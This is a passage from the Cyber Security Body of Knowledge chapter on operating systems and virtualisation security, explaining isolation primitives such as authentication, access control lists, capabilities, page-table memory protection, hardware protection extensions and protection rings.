operating systems in use today, it relied on a small number of core primitives to isolate its
different security domains.
So what are these major isolation primitives? First, the operating system has to have some
way of authenticating users and security domains so it can decide whether or not they may
access certain resources. To isolate the different security domains, the operating system
also needs support for access control to objects, such as files. In addition, it needs memory
protection to ensure that a security domain cannot simply read data from another domain’s
memory. Finally, it needs a way to distinguish between privileged code and non-privileged
code, so that only the privileged code can configure the desired isolation at the lowest level
and guarantee mediation for all operations.

4.1 Authentication and identification

Since authentication is the topic of the Authentication, Authorisation & Accountability CyBOK
Knowledge Area [42], we will just observe that to determine access rights, an operating system
needs to authenticate its users and that there are many ways to do so. Traditionally, only
usernames and passwords were used for this purpose, but more and more systems nowadays
use other methods (such as smartcards, fingerprints, iris scans, or face recognition)—either
instead of passwords or as an additional factor. Multi-factor authentication makes it harder
for attackers to masquerade as a legitimate user, especially if the factors are of a different
nature, e.g., something you know (like a password), something you own (like a smartcard),
and something you ‘are’ (biometric data such as fingerprints).
For every user thus authenticated, the operating system maintains a unique user id. Moreover,
it may also keep other information about users such as in which groups they reside (e.g.,

KA Operating Systems & Virtualisation Security | July 2021 Page 15

 The Cyber Security Body Of Knowledge
www.cybok.org

student, faculty, and/or administrator). Similarly, most operating systems attach some identity
to each of the processes running on behalf of the user and track the ownership and access
rights of the files they use. For instance, it gives every running process a unique process id
and also registers the id of the users on whose behalf it runs (and thus the groups in which
the user resides). Finally, it tracks which user owns the executing binary. Note that the user
owning the binary and the user running the binary need not be the same. For instance, the
administrator can create and own a collection of system programs that other users may
execute but not modify.
Incidentally, storing credentials in a secure manner is crucial. Several modern operating
systems resort to hardware to protect such sensitive data. For instance, they may use a
Trusted Platform Module (TPM) to ensure credentials such as disk encryption keys are
cryptographically sealed, or employ a separate VM for the credential store, so that even a
compromised VM will not get direct access to the credentials.

4.2 Access control lists

Given these identities, the operating system is equipped to reason about which user and which
process is allowed to perform which operations on a specific object: access control.
When Robert Daley and Peter Neumann first developed the Multics file system, they introduced
an Access Control List (ACL) for every block of data in the system [41, 43]. Conceptually, an
ACL is a table containing users and data blocks that specifies for each data block which users
have which kind of access rights. Most modern operating systems have adopted some variant
of ACLs, typically for the file system4 . Let us look at an example. On UNIX-based systems [22],
the default access control is very simple. Every file is owned by a user and a group. Moreover,
every user can be in one or more groups. For instance, on a Linux system, user herbertb is
in nine different groups:
herbertb@nordkapp:~$ groups herbertb
herbertb : herbertb adm cdrom sudo dip plugdev lpadmin sambashare cybok
herbertb@nordkapp:~$

Per file, a small number of permission bits indicates the access rights for the owning user,
the owning group, and everyone else. For instance, let us look at the ACL for a file called
myscript on Linux:
herbertb@nordkapp:~/tmp$ getfacl myscript
# file: home/herbertb/tmp/myscript
# owner: herbertb
# group: cybok
user::rwx
group::rwx
other::r-x

We see that myscript is owned by user herbertb and group cybok. The owning user and
all users in group cybok have permissions to read, write, and execute the file, while all other
users can read and execute (but not write) it.
These basic UNIX file permissions are quite simple, but modern systems (such as Linux and
Windows) also allow for more extensive ACLs (e.g., with explicit access rights for multiple
users or groups). Whenever someone attempts to read, write or access a file, the operating
system verifies whether the appropriate access rights are in the ACL. Moreover, the access
control policy in UNIX is typically discretionary, because the owning user is allowed to set
4
which in most cases also follows the hierarchical design pioneered in Multics.

KA Operating Systems & Virtualisation Security | July 2021 Page 16

 The Cyber Security Body Of Knowledge
www.cybok.org

these rights for others. For instance, on the above Linux system, user herbertb can himself
decide to make the file myscript writable by all the users (‘chmod o+w myscript’).
Besides DAC, Multics also implemented MAC and, while it took a long time to reach this stage,
this is now also true for many of the operating systems that took their inspiration from Multics
(namely most popular operating systems today). Linux even offers a framework to allow all
sorts of access control solutions to be plugged in, by means of so-called ‘reference monitors’
that vet each attempt to execute a security sensitive operation and, indeed, several MAC
solutions exist. The best known one is probably Security-Enhanced Linux (SELinux [44]), a set
of Linux patches for security originally developed by the National Security Agency (NSA) in
the US and derived from the Flux Advanced Security Kernel (FLASK) [45].
SELinux gives users and processes a context of three strings: (username, role, domain).
While the tuple already (correctly) suggests that SELinux also supports RBAC, there is signifi-
cant flexibility in what to use and what to avoid. For instance, many deployed systems use
only the domain string for MAC and set username and role to the same value for all users.
Besides processes, resources such as files, network ports, and hardware resources also have
such SELinux contexts associated with them. Given this configuration, system administrators
may define system-wide policies for access control on their systems. For instance, they
may define simply which domains a process have to perform specific operations (read, write,
execute, connect) on a resource, but policies may also be much more complicated, with
multiple levels of security and strict enforcement of information flow a la Bell-LaPadula, Biba,
or some custom access-control model.
Mandatory access control in systems such as SELinux revolves around a single system-wide
policy that is set by a central administrator and does not change. They do not allow untrusted
processes to define and update their own information control policy. In contrast, research
operating systems such as Asbestos [46], HiStar [47] and Flume [48] provide exactly that:
distributed information flow control. In other words, any process can create security labels
and classify and declassify data.

4.3 Capabilities
So far, we have assumed that access control is implemented by means of an ACL or access
matrix, where all information is kept to decide whether a process P may access a resource R.
After authenticating the users and/or looking up their roles or clearance levels, the reference
monitor decides whether or not to grant access. However, this is not the only way. A popular
alternative is known as capability and, stemming from 1966, is almost as old.
In 1966, Jack Dennis and Earl Van Horn, researchers at MIT, proposed the use of capabilities for
access control in an operating system [49]. Unlike ACLs, capabilities do not require a per-object
administration with the exact details of who is allowed to perform what operation. Instead,
the users present a capability that in itself proves that the requested access is permitted.
According to Dennis and Van Horn, a capability should have a unique identifier of the object to
which it pertains, as well as the set of access rights provided by the capability. Most textbooks
use the intuitive definition by Henry Levy that a capability is a ‘token, ticket, or key that gives the
possessor permission to access an entity or object in a computer system’ [39]. Possession
of the capability grants all the rights specified in it and whenever a process wants to perform
an operation on an object, it should present the appropriate capability. Conversely, users do
not have access to any resources other than the ones for which they have capabilities.

KA Operating Systems & Virtualisation Security | July 2021 Page 17

 The Cyber Security Body Of Knowledge
www.cybok.org

Moreover, Peter Neumann argues that the access control should be explicit and adhere to the
Principle of Intentional Use [37], by explicitly authorising only what is really intended, rather
than something that is overly broad or merely expedient. Adherence to the principle helps to
avoid the accidental or unintended use of rights that may lead to security violations in the
form of a ’confused deputy’ (in which a security domain unintentionally exercises a privilege
that it holds legitimately, on behalf of another domain that does not and should not).
Of course, it should be impossible to forge capabilities, lest users give themselves arbitrary
access to any object they want. Thus, an operating system should either store the capability
in a safe place (for instance, the kernel), or protect it from forgery using dedicated hardware
or software-based encryption. For instance, in the former case, the operating system may
store a process’ capabilities in a table in protected memory, and whenever the process wants
to perform an operation on a file, say, it will provide a reference to the capability (e.g., a file
descriptor) and never touch the capability directly. In the latter case, the capability may be
handled by the process itself, but any attempt to modify it in an inappropriate manner will be
detected [50].
Capabilities are very flexible and allow for convenient delegation policies. For instance, given
full ownership of a capability, a process may pass it on to another process, to give that process
either the same access rights, or, alternatively, a subset of those rights. Thus, discretionary
access control is easy. On the other hand, in some situations, it may not be desirable to have
capabilities copied and spread arbitrarily. For this reason, most capability-based systems
add a few bits to the capabilities to indicate such restrictions: whether copying is permitted,
whether the capability’s lifetime should be limited to a procedure invocation, etc.
Comparing ACLs and capabilities, we further observe that ACLs are typically based on users
(‘the user with id x is allowed to read and write’), while capabilities can be extremely fine-grained.
For instance, we may use different capabilities for sending and receiving data. Following the
Principle of Least Authority, running every process with the full power of the user, compared
to running a process with just the power of the capabilities it acquires, is less secure. Running
with the authority of the user who started the program, as is often the case in modern operating
systems, is known as a form of ambient authority and much more likely to violate the Principle
of Least Authority than fine-grained capabilities that equip a process only with the privileges it
needs. Moreover, capabilities do not even allow a process to name an object unless it has the
appropriate capability, while ACLs should permit the naming of any object by everyone, as
the access check only occurs when the process attempts the operation. Finally, ACLs may
become very large with growing numbers of users, access rights, and objects.
On the other hand, revoking a particular access right for a particular user in an ACL is easy:
just remove a permission in the appropriate table entry. With capabilities, the process is more
involved. After all, we may not even know which users/processes have the capability. Adding
a level of indirection may help somewhat. For instance, we could make the capabilities point
to an indirect object, which in turn points to the real object. To invalidate the capability (for all
users/processes) the operating system could then invalidate that indirect object. But what to
do if we only want to revoke the capability in a subset of processes? While there are solutions,
revocation of capabilities remains the most difficult part.
Since the 1960s, many capability-based systems have appeared—initially all supported in
hardware [39] and typically more rigid than the more general capabilities discussed so far.
The first was the MIT PDP-1 Timesharing System [51], followed shortly after by the Chicago
Magic Number Machine at the University of Chicago [52], a very ambitious project with
hardware-supported capabilities, which, as is not uncommon for ambitious projects, was

KA Operating Systems & Virtualisation Security | July 2021 Page 18

 The Cyber Security Body Of Knowledge
www.cybok.org

never completed. However, it did have a great impact on subsequent work, as Maurice Wilkes
of the University of Cambridge learned about capabilities during several visits to Chicago and
wrote about it in his book on time-sharing systems. Back in the UK, this book was picked up
by an engineer at Plessey which built the fully functional Plessey System 250 (with explicit
hardware support for capability-based addressing). Maurice Wilkes himself went on to build
the Cambridge CAP computer together with Roger Needham and David Wheeler [53]. CAP
was the first computer to demonstrate the use of secure capabilities. This machine ensured
that a process could only access a memory segment or other hardware if it possessed the
required capabilities. Another noteworthy capability-based system of that time was CMU’s
Hydra [54]—which added explicit support for restricting the use of capabilities or operations
on objects (allowing one to specify, for instance, that capabilities must not survive a procedure
invocation). Finally, in the 1980s, the Amoeba distributed operating systems explored the
use of cryptographically protected capabilities that could be stored and handled by user
processes [50].
Nowadays, many major operating systems also have at least some support for capabilities.
For instance, the L4 microkernel, which is present in many mobile devices today, embraced
capability-based security in the version by Gernot Heiser’s group at NICTA in 20085 . A formally
verified kernel called seL4 [55] from the same group similarly relies on capabilities for access
control to resources. In 1997, Linux adopted very limited capability support (sometimes re-
ferred to as ‘POSIX capabilities’), but this was different from the capabilities defined by Dennis
and Van Horn (with less support for copying and transferring capabilities). For instance, Linux
capabilities refer only to operations, not objects. Recognising that UNIX file descriptors and
Windows handles are almost capabilities already, an interesting effort to merge capabilities
and UNIX APIs is the Capsicum project [56] by the University of Cambridge and Google, where
the capabilities are extensions of UNIX file descriptors. FreeBSD adopted Capsicum in version
9.0 in 2012. An outgrowth of Capsicum is Capability Hardware Enhanced RISC Instructions
(CHERI), a hardware-software project that transposes the Capsicum capability model into the
CPU architecture.

4.4 Physical access and secure deletion

It is important to observe that access restrictions at the level of the operating system do not
necessarily translate to the same restrictions at the physical level. For instance, the operating
system may ‘delete’ a file simply by removing the corresponding metadata that makes it
appear as a file (e.g., when listing the directory), without really removing the content of the file
on disk. Thus, an attacker that reads raw disk blocks with no regard for the file system may
still be able to access the data.
It turns out that securely deleting data on disk is not trivial. Naive deletion, for instance, by
overwriting the original content with zeros, is not always sufficient. For instance, on some
magnetic disks, data on the disk’s tracks leaves (magnetic) traces in areas close to the tracks
and a clever attack with sufficient time and resources may use these to recover the content.
Moreover, the operating system may have made copies of the file that are not immediately
visible to the user, for instance, as a backup or in a cache. All these copies need to be
securely deleted. The situation for Solid State Drives (SSDs) is no better, as SSDs have their
own firmware that decides what to (over)write and when, beyond the control of the OS. For
most operating systems, truly secure deletion, in general, is beyond the operating system’s
5
Other L4 variants, such as the L4 Fiasco kernel from Dresden, also supported capabilities.

KA Operating Systems & Virtualisation Security | July 2021 Page 19

 The Cyber Security Body Of Knowledge
www.cybok.org

capabilities and we will not discuss it further in this knowledge area, except to say that full
disk encryption, a common feature of modern operating systems, helps a lot to prevent file
recovery after deletion.

4.5 Memory protection and address spaces

Access control is only meaningful if security domains are otherwise isolated from each other.
For this, we need separation of the security domains’ data according to access rights and a
privileged entity that is able to grant or revoke such access rights. We will look at the isolation
first and talk about the privileges later, when we introduce protection rings.
A process should not normally be able to read another process’ data without going through
the appropriate access control check. Multics and nearly all of the operating systems that
followed (such as UNIX and Windows) isolate information in processes by giving each process
(a) its own processor state (registers, program counter etc.) and (b) its own subset of memory.
Whenever the operating system decides to execute process P2 at the expense of the currently
running process P1 (a so-called context switch), it first stops P1 and saves all of its processor
state in memory in an area inaccessible to other processes. Next, it loads P2 ’s processor
states from memory into the CPU, adjusts the bookkeeping that determines which parts of
the physical memory are accessible, and starts executing P2 at the address indicated by the
program counter that it just loaded as part of the processor state. Since user processes
cannot directly manipulate the bookkeeping themselves, P 2 cannot access any of P1 ’s data in
a non-mediated form.
Most modern operating systems keep track of the memory bookkeeping by means of page
tables, as illustrated in Fig. 2. For each process, they maintain a set of page tables (often
containing multiple levels organised as a directed acyclic graph6 ), and store a pointer to the
top level page table in a register that is part of the processor state and that must be saved
and restored on a context switch.
The main use for the page table structure is to give every process its own virtual address
space, ranging from address 0 to some maximum address (e.g., 248 ), even though the amount
of physical memory may be much less [57, 58, 59]. Since two processes may both store data
at address 0x10000, say, but should not be allowed to access each others’ data, there has to
be a mapping from the virtual addresses each process uses to the physical addresses used
by the hardware. It is like a game of basketball, where each side may have a player with the
number 23, but that number is mapped onto a different physical player for each team.
This is where the page tables comes in. We divide each of the virtual address spaces into
fixed size pages and use the page table structure to map the address of the first byte of a
virtual page onto a physical address. The processor often uses multiple levels of translation.
In the example in Fig. 2, it uses the first nine bits of the virtual address as an index in the top
level page table (indicated by a control register that is part of the processor state) to find an
entry containing the physical address of the next level page table, which is indexed by the
next nine bits, and so on, until we reach the last level page table, which contains the physical
address of the physical page that contains the virtual address. The last 12 bits of the virtual
address are simply the offset in this page and point to the data.
Paging allows the (total) size of the virtual address spaces of the processes to be much larger
6
While it is often helpful to think of page table structures as trees, different branches may point to the same
leave nodes.

KA Operating Systems & Virtualisation Security | July 2021 Page 20

 The Cyber Security Body Of Knowledge
www.cybok.org

9 bits 9 bits 9 bits 9 bits 12 bits

Virtual address: 000000011 000000010 000000111 000000110 101101111000

Level 4
Page Table
Level 3
Page Table
Level 2
Page Table
Level 1
Page Table

5
4
3
2 5
1 4 7
register with addr 0 3 6
2 5
of top level PT 1 4
0 3 6
2 5
1 4
0 3
2
1
0
Page Table Entry:

physical address S

remaining bits 12 bits (
ags)

Figure 2: Address translation in modern processors. The MMU ‘walks’ the page tables to find
the physical address of the page. Only if a page is ‘mapped’ on a process’ page tables can the
process address it, assuming it is present and the process has the appropriate access rights.
Specifically, a user process cannot access the page for which the supervisor (S) bit is set in
the page table entry.

than the physical memory available in the system. First, a process typically does not use
all of its possibly gigantic address space and only virtual pages that are in actual use need
backing by physical pages. Second, if a process needs more memory to store some data and
no physical pages are free at that moment (for instance, because they are already in use by
other processes, or they are backing some other virtual pages of this process), the operating
system may swap the content of these pages to disk and then re-use the physical page to
store the new data.
A key consequence of this organisation is that a process can only access data in memory
if there is a mapping for it in its page tables. Whether this is the case, is controlled by the
operating system, which is, therefore, able to decide exactly what memory should be private
and what memory should be shared and with whom. The protection itself is enforced by
specialised hardware known as the memory management unit (MMU7 ). If the mapping of
virtual to physical for a specific address is not in the small but very fast cache known as the
Transaction Lookaside Buffer (TLB), the MMU will look for it by walking the page tables and
then triggering an interrupt if the page containing the address is not mapped.
The MMU will also trigger interrupts if the page is currently not in memory (swapped to disk),
or, more relevant to security, if the user does not have the required privilege to access this
memory. Specifically, the last 12 bits of the Page Table Entry (PTE) contain a set of flags and
one of these flags, the S bit in Fig. 2, indicates whether this is a page for supervisor code (say,
the operating system running at the highest privilege) or for ordinary user processes. We will
have more to say about privileges later.
Page tables are the main way modern operating systems control access to memory. However,
7
As we shall see later, not all processors have a full-fledged MMU but rather a simpler memory protection
unit.

KA Operating Systems & Virtualisation Security | July 2021 Page 21

 The Cyber Security Body Of Knowledge
www.cybok.org

some (mostly older) operating systems additionally use another trick: segmentation. Not
surprisingly, one of the earliest operating systems using both segmentation and paging was
Multics [41, 59]. Unlike pages, segments have an arbitrary length and start at an arbitrary
address. However, both depend on hardware support: an MMU. For instance, processors
such as Intel’s 32 bits x86 have a set of dedicated registers known as segment selectors:
one for code, one for data, etc. Each segment has specific permissions, such as read, write,
or execute. Given a virtual address, the MMU uses the current value in the corresponding
segment selector as an index in a so-called descriptor table. The entry in the descriptor table
contains the start address and length of the segment, as well as protection bits to prevent
code without the required privilege level to access it. In case there is only segmentation
and no paging, the resulting address is the original virtual address added to the start of the
segment and that will be the physical address, and we are done. However, both the GE-645
mainframe computer used for Multics and the more modern x86-32 allow one to combine
segmentation and paging. In that case, the virtual address is first translated into a so-called
linear address using the segment descriptor table and that linear address is then translated
into a physical address using the page table structure.
This is as complicated as it sounds; none of the popular modern operating systems still use
segmentation. The best known examples of operating systems using segmentation were
OS/2 (an ill-fated collaboration between Microsoft and IBM that started in the mid-1980s
and that never caught on) and IBM’s AS/400 (also launched in the 1980s8 and still running
happily today on a mainframe near you). The Xen hypervisor also used segmentation on 32 bit
x86, but on 64 bit systems this was no longer possible. In fact, the 64-bit version of the Intel
x86 no longer even supports full segmentation, although some vestiges of its functionality
remain. On the other hand, complicated multi-level address translation is still quite common
in virtualised environments. Here, the hypervisor tries to give virtual machines the illusion that
they are running all by themselves on real hardware, so the MMU translates a virtual address
first to what is known as a guest physical address (using page tables). However, this is not a
real physical address yet, as many virtual machines may have the same idea of using, say,
physical address 0x10000. So, instead, the MMU uses a second translation stage (using what
Intel refers to as extended page tables, maintained by the hypervisor) to translate the guest
physical address to a host physical address (‘machine address’).

4.6 Modern hardware extensions for memory protection

Also, while segmentation is mostly dead, there are many other forms of hardware support
for memory protection beyond paging. For instance, many machines have had support for
buffer bounds checking and some date back a quarter of a century or more. To illustrate
the corresponding primitives, however, we will look at what is available in modern general
purpose processors, focusing mostly on the Intel x86 family. The point here is not whether we
think this processor is more important or even that feature X or Y will be very important in the
future (which is debatable and hard to predict), but rather to illustrate that this is still a very
active area for hardware development today.
As a first example, consider the somewhat ill-fated Intel Memory Protection Extensions (MPX)
that enhance Intel’s workhorse processors with functionality to ensure that array pointers
cannot stray beyond the array boundaries (stopping vulnerabilities such as buffer overflows
from being exploited). For this purpose, a small set of new registers can store the lower and
8
Or even the 1970s, if you want to count the System/38.

KA Operating Systems & Virtualisation Security | July 2021 Page 22

 The Cyber Security Body Of Knowledge
www.cybok.org

upper bounds of a small number of arrays, while prior to de-referencing the pointer, new MPX
instructions check the value of the array pointer for boundary violations. Even in systems
that use MPX only in userspace, the operating system plays a role, for instance, to handle the
exception that the hardware throws when it encounters a buffer boundary violation. MPX was
heavily criticised for having too few of these bounds registers, leading to much performance
overhead. In addition, MPX does not support multi-threading, which may result in data races
in legacy code. One might say that MPX is a good example of an attempt by a hardware
vendor to add new features for memory safety to their CPUs that is unfortunately not always
successful.
More recently, Intel added Memory Protection Keys (MPKs) to its processors9 . Intel MPK
allows one to set four previously unused bits in the PTE (Fig. 2) to one of 16 ‘key’ values. In
addition, it adds a new 32-bit register containing 2 bits for each key to indicate whether reading
and writing is allowed for pages tagged with that key. MPK allows developers to partition the
memory in a small number (in this case 16) protection domain and, for instance, allow only a
specific crypto library to access cryptographic keys. While unprivileged user processes may
update the value of the register, only privileged operating system code can tag the memory
pages with keys.
Some processor designs support even more advanced memory protection in the form of
what, using ARM terminology, we will refer to as memory tagging extensions (MTE10 )[61]. The
idea is simple yet powerful. The processor assigns every aligned chunk of memory (where
a chunk is, say, 16 bytes) a so-called "tag" in hardware. Similarly, every pointer also obtains
a tag. Tags are generally not very large, say 4 bits, so they can be stored in the top-most
byte of the 64-bit pointer value which we do not really use anyway (in fact, ARM supports a
top-byte-ignore feature that makes the hardware explicitly mask out the top most byte).
Whenever the program allocates N bytes of memory, the allocator rounds up the allocation
to multiples of 16 bytes and assigns a random tag to it. It also assigns the same tag to the
pointer to the memory. From now on, dereferencing the pointer is only permitted if the tag in
the pointer matches that of the memory to which it refers—effectively stopping most spatial
and temporal memory errors.
Meanwhile, some processors, especially in low-power devices, do not even have a full-fledged
MMU at all. Instead, they have a much simpler Memory Protection Unit (MPU) which serves
only to protect memory, in a way that resembles the MPK functionality discussed above. In
MPU designs, the operating systems define a number of memory regions with specific memory
access permissions and memory attributes. For instance, the MPU on ARMv8-M processors
supports up to 16 regions. Meanwhile, the MPU monitors all the processor’s memory accesses
(including instruction fetches and data accesses) and triggers an exception on detecting an
access violation.
Note that in the above, we have assumed that the operating system needs protection from
untrusted user applications. A special situation arises when the operating itself is not trusted.
Perhaps you are running a security-sensitive application on a compromised operating system,
or in the cloud, where you are not sure you want to trust the cloud provider. In the general case,
you may want to protect your data and applications without trusting any other software. For
this purpose, processors may offer hardware support for running extremely sensitive code in a
secure, isolated environment, known as a trusted execution environment in ARM’s ‘TrustZone’
9
Again, Intel was actually late to the party, as similar features existed in a variety of processors since the
1960s.
10
A similar feature on SPARC processors is known as Application Data Integrity (ADI)[60]

KA Operating Systems & Virtualisation Security | July 2021 Page 23

 The Cyber Security Body Of Knowledge
www.cybok.org

or an enclave in Intel’s Software Guard Extension (SGX). They offer slightly different primitives.
For instance, the code running in an SGX enclave is intended to be a part of a normal user
process. The memory it uses is always encrypted as soon as it leaves the processor. Moreover,
SGX offers hardware support to perform attestation, so that a (possibly remote) party can
verify that the code is running in an enclave and that it is the right code. ARM TrustZone, on
the other hand, isolates the ‘normal world’ that runs the normal operating system and user
applications, from a ‘secure world’ that typically runs its own, smaller operating system as a
well as a small number of security sensitive applications. Code in the normal world can call
code in the secure world in a way that resembles the way applications call into an operating
system. One interesting application of special environments such as ARM TrustZone (or Intel’s
SMM mode, discussed later) is to use it for runtime monitoring of the integrity of a regular
operating system—hopefully detecting whatever stealthy malware or rootkit compromised
it before it can do some serious damage. Although aspects of these trusted environments
clearly overlap with operating system security, we consider them mostly beyond the scope
of this knowledge area. We should also note that in recent years, the security offered by
hardware trusted execution environments has been repeatedly pierced by a variety of side
channels [15, 16, 62] that leak information from supposedly secure world.
Switching gears again, it may be the case that the operating system is fine, but the hardware
is not. Malicious or faulty hardware may use the system’s Direct Memory Access (DMA) to
read or overwrite sensitive data in memory that should be inaccessible to them. Moreover,
with some standards (such as Thunderbolt over USB-C), a computer’s PCIe links may be
directly exposed to devices that a user plugs into a computer. Unfortunately for the user, it
is hard to be sure that what looks like, say, a display cable or power adapter, does not also
contain some malicious circuitry designed to compromise the computer [63]. As a partial
remedy, most architectures nowadays come with a special MMU for data transferred to and
from devices. This hardware, called an IOMMU, serves to map device virtual addresses to
physical addresses, mimicking exactly the page-based protection illustrated in Fig. 2, but now
for DMA devices. In other words, devices may access a virtual memory address, which the
IOMMU translates to an actual physical address, checks for permissions and stops if the page
is not mapped in for the device, or the protection bits do not match the requested access.
While doing so provides some measure of protection against malicious devices (or indeed
drivers), it is important to realise that the IOMMU was designed to facilitate virtualisation
and really should not be seen as a proper security solution. There are many things that may
go wrong [64]. For instance, perhaps the administrator wants to revoke a device’s access
rights to a memory page. Since updating the IOMMU page tables is a slow operation, it is not
uncommon for operating systems to delay this operation and batch it with other operations.
The result is that there may be a small window of time during which the device still has access
to the memory page even though it appears that these rights have already been revoked.
Finally, we can observe that the increasing number of transistors per surface area enables
a CPU vendor to place more and more hardware extensions onto their chips, and the ones
discussed above are by no means the only security-related ones in modern processors.
Additional examples include cryptographic units, memory encryption, instructions to switch
extended page tables efficiently, and pointer authentication (where the hardware detects
modification of pointer values). There is no doubt that more features will emerge in future
generations and operating systems will have to adapt in order to use them in a meaningful
way. A broader view of these issues is found in the Hardware Security CyBOK Knowledge
Area [65].

KA Operating Systems & Virtualisation Security | July 2021 Page 24

 The Cyber Security Body Of Knowledge
www.cybok.org

4.7 Protection rings

Among the most revolutionary ideas introduced by Multics was the notion of protection rings—
a hierarchical layering of privilege where the inner ring (ring 0) is the most privileged and the
outer ring is the least privileged [41]. Accordingly, untrusted user processes execute in the
outer ring, while the trusted and privileged kernel that interacts directly with the hardware
executes in ring 0, and the other rings could be used for more or less privileged system
processes.
Protection rings typically assume hardware support, something most general purpose pro-
cessors offer today, although the number of rings may differ. For instance, the Honeywell
6180 supported as many as eight rings, Intel’s x86 four, ARM v7 three (plus an extra one for
TrustZone) and PowerPC two. However, as we shall see, the story becomes slightly confusing,
because some modern processors have also introduced more and different processor modes.
For now, we simply observe that most regular operating systems use only two rings: one for
the operating system and one for the user processes.
Whenever less privileged code needs a function that requires more privileges, it ‘calls into’ the
lower ring to request the execution of this function as a service. Thus, only trusted, privileged
code may execute the most sensitive instructions or manipulate the most sensitive data.
Unless a process with fewer privileges tricks more privileged code into doing something that
it should not be doing (as a confused deputy), the rings provide powerful protection. The
original idea in Multics was that transitioning between rings would occur via special call gates
that enforce strict control and mediation. For instance, the code in the outer ring cannot make
a call to just any instruction in the inner ring, but only to predefined entry points where the call
is first vetted to see if it and its arguments do not violate any security policy.
While processors such as the x86 still support call gates, few operating systems use them,
as they are relatively slow. Instead, user processes transition into the operating system
kernel (a ‘system call’) by executing a software interrupt (a ‘trap’) which the operating system
handles, or more commonly, by means of a special, highly efficient system call instruction (with
names such as SYSCALL, SYSENTER, SVC, SCALL etc., depending on the architecture). Many
operating systems place the arguments to the system call in a predefined set of registers. Like
the call gates, the traps and system call instructions also ensure that the execution continues
at a predefined address in the operating system, where the code inspects the arguments and
then calls the appropriate system call function.
Besides the user process calling into the operating system, most operating systems also allow
the kernel to call into the user process. For instance, UNIX-based systems support signals
which the operating system uses to notify the user program about ‘something interesting’: an
error, an expired timer, an interrupt, a message from another process etc. If the user process
registered a handler for the signal, the operating system will stop the current execution of
the process, storing all its processor states on the process’ stack in a so-called signal frame,
and continue execution at the signal handler. When the signal handler returns, the process
executes a sigreturn system call that makes the operating system take over, restore the
processor state that is on the stack and continue executing the process.
The boundary between security domains, such as the operating system kernel and userspace
processes is a good place to check both the system calls themselves and their arguments for
security violations. For instance, in capability-based operating systems, the kernel will validate
the capabilities [55], and in operating systems such as MINIX 3 [24], specific processes are
only allowed to make specific calls, so that any attempt to make a call that is not on the

KA Operating Systems & Virtualisation Security | July 2021 Page 25

 The Cyber Security Body Of Knowledge
www.cybok.org

pre-approved list is marked as a violation. Likewise, Windows and UNIX-based operating

systems have to check the arguments of many system calls. Consider, for instance, the
common read and write system calls, by which a user requests the reading of data from a
file or socket into a buffer, or the writing of data from a buffer into a file or socket, respectively.
Before doing so, the operating system should check if the memory to write from or read into
is actually owned by the process.
After executing the system call, the operating system returns control to the process. Here also,
the operating system must take care not to return results that jeopordise the system’s security.
For instance, if a process uses the mmap system call to request the operating system to map
more memory into its address space, the operating system should ensure that the memory
pages it returns no longer contain sensitive data from another process (e.g., by initialising
every byte to zero first [66]).
Zero intialisation problems can be very subtle. For instance, compilers often introduce padding
bytes for alignment purposes in data structures. Since these padding bytes are not visible
at the programming language level at all, the compiler may see no reason to zero initialise
them. However, a security violation occurs when the operating system returns such a data
structure in response to a system call and the unitialised padding contains sensitive data
from the kernel or another process.
Incidentally, even the signalling subsystem in UNIX systems that we mentioned earlier is an
interesting case for security. Recall that the sigreturn takes whatever processor state is
on the stack and restores that. Now assume that attackers are able to corrupt the stack of
the process and store a fake signal frame on the stack. If the attackers are then also able to
trigger a sigreturn, they can set the entire processor state (with all the register values) in
one fell swoop. Doing so provides a powerful primitive in the hands of a skilled attacker and
is known as Sigreturn-Oriented Programming (SROP) [67].

4.8 One ring to rule them all. And another. And another.
As also mentioned earlier, the situation regarding the protection rings is slightly more confusing
these days, as recent CPUs offer virtualisation instructions for a hypervisor, allowing them
to control the hardware accesses at ring 0. To do so, they have added what, at first sight,
looks like an extra ring at the bottom. Since on x86 processors, the term ‘ring 0’ has become
synomymous with ‘operating system kernel’ (and ‘ring ” with ‘user processes’), this new
hypervisor ring is commonly referred to as ‘ring –1’. It also indicates that operating systems
in their respective virtual machines can keep executing ring 0 instructions natively. However,
strictly speaking, it serves a very different purpose from the original rings, and while the name
ring –1 has stuck, it is perhaps a bit of a misnomer.
For the sake of completeness, we should mention that things may get even more complex,
as some modern processors still have other modes. For instance, x86 offers what is known
as System Management Mode (SMM). When a system boots, the firmware is in control of
the hardware and prepares the system for the operating system to take over. However, when
SMM is enabled, the firmware regains control when a specific interrupt is sent to the CPU. For
instance, the firmware can indicate that it wants to receive an interrupt whenever the power
button is pressed. In that case, the regular execution stops, and the firmware takes over. It
may, for instance, save the processor state, do whatever it needs to do and then resume the
operating system for an orderly shutdown. In a way, SMM is sometimes seen as a level lower
than the other rings (ring –2).

KA Operating Systems & Virtualisation Security | July 2021 Page 26

 The Cyber Security Body Of Knowledge
www.cybok.org

Finally, Intel even added a ring –3 in the form of the Intel Management Engine (ME). ME is a
completely autonomous system that is now in almost all of Intel’s chipsets; it runs a secret
and completely independent firmware on a separate microprocessor and is always active:
during the booting process, while the machine is running, while it is asleep, and even when it
is powered off. As long as the computer is connected to power, it is possible to communicate
with the ME over the network and, say, install updates. While very powerful, its functionality
is largely unknown except that it runs its own small operating system11 which researcher
found contained vulnerabilities. The additional processors that accompany the main CPU (be
it the ME or related ones such as Apple’s T2 and Google’s Titan chips) raise an interesting
point: is the operating system running on the main CPU even capable of meeting today’s
security requirements? At least, the trend appears to augment it with special-purpose systems
(hardware and software) for security.

4.9 Low-end devices and the IoT

Many of the features described above are found, one way or another, in most general-purpose
processor architectures. However, this is not necessarily true in the IoT, or embedded systems
in general, and tailored operating systems are commonly used [68]. Simple microcontrollers
typically have no MMUs, and sometimes not even MPUs, protection rings, or any of the
advanced features we rely on in common operating systems. The systems are generally small
(reducing attack surface) and the applications trusted (and possibly verified). Nevertheless, the
embedded nature of the devices makes it hard to check or even test their security and, wherever
they play a role in security sensitive activities, security by means of isolation/containment and
mediation should be enforced externally, by the environment. Wider IoT issues are addressed
in the Cyber-Physical Systems Security CyBOK Knowledge Area [69].

5 OPERATING SYSTEM HARDENING

[19, 33, 70, 71]
The best way to secure operating systems and virtual machines is to have no vulnerabilities
at all: security by design. For instance, we can use formal verification to ensure that certain
classes of bugs cannot be present in the software or hardware, and that the system is func-
tionally correct [55]. Scaling the verification to very large systems is still challenging, but the
field is advancing rapidly and we have now reached the stage that important components such
as a microkernel, file systems and compilers have been verified against a formal specification.
Moreover, it is not necessary to verify all the components of a system: guaranteeting isolation
simply requires a verified microkernel/hypervisor and a few more verified components. Verifi-
